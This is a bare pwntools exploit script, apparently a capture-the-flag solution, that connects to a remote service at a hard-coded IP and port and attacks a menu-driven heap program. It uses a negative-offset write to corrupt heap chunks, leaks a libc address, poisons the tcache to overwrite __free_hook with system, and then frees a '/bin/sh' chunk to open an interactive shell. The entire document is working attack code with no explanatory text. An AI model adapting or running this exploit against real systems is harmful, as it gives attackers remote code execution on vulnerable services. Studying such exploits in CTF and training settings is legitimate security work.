1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91
| from pwn import *
sh = remote('106.14.214.3',1912) libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so') _IO_2_1_stdout_s = libc.symbols['_IO_2_1_stdout_'] free_hook_s = libc.symbols['__free_hook'] malloc_hook_s = libc.symbols['__malloc_hook'] system_s = libc.symbols['system']
def add(index,size): sh.sendlineafter('Your choice: ','1') sh.sendlineafter('Index:',str(index)) sh.sendlineafter('Size:',str(size))
def edit(index,offset,size,content): sh.sendlineafter('Your choice: ','2') sh.sendlineafter('Index:',str(index)) sh.sendlineafter('Offset:',str(offset)) sh.sendlineafter('Size:',str(size)) sh.sendafter('Content:',content)
def delete(index): sh.sendlineafter('Your choice: ','3') sh.sendlineafter('Index:',str(index))
def open_f(): sh.sendlineafter('Your choice: ','4')
def close_f(): sh.sendlineafter('Your choice: ','5')
add(0,0xF0) add(1,0x80) open_f() add(2,0xF0) add(3,0xF0) for i in range(4,11): add(i,0xF0) close_f()
for i in range(4,11): delete(i)
delete(0)
edit(3,-0x110,0x10,p64(0x8040 + 0x90 + 0x100) + p64(0x100))
delete(2) add(0,0x90) add(2,0xA0) add(4,0x80) add(5,0x10) add(6,0x10) edit(6,-0x15,0x15,'a'*0x15) close_f() sh.recvuntil('a'*0x15) main_arena_xx = u64(sh.recv(6).ljust(8,'\x00')) malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF) libc_base = malloc_hook_addr - malloc_hook_s free_hook_addr = libc_base + free_hook_s system_addr = libc_base + system_s print 'libc_base=',hex(libc_base) print 'free_hook_addr=',hex(free_hook_addr) print 'system_addr=',hex(system_addr)
delete(1) edit(2,0,0x68,'b'*0x50 + p64(0) + p64(0x91) + p64(free_hook_addr)) add(1,0x80) edit(1,0,0x8,'/bin/sh\x00') add(7,0x80) edit(7,0,0x8,p64(system_addr))
delete(1)
sh.interactive()
|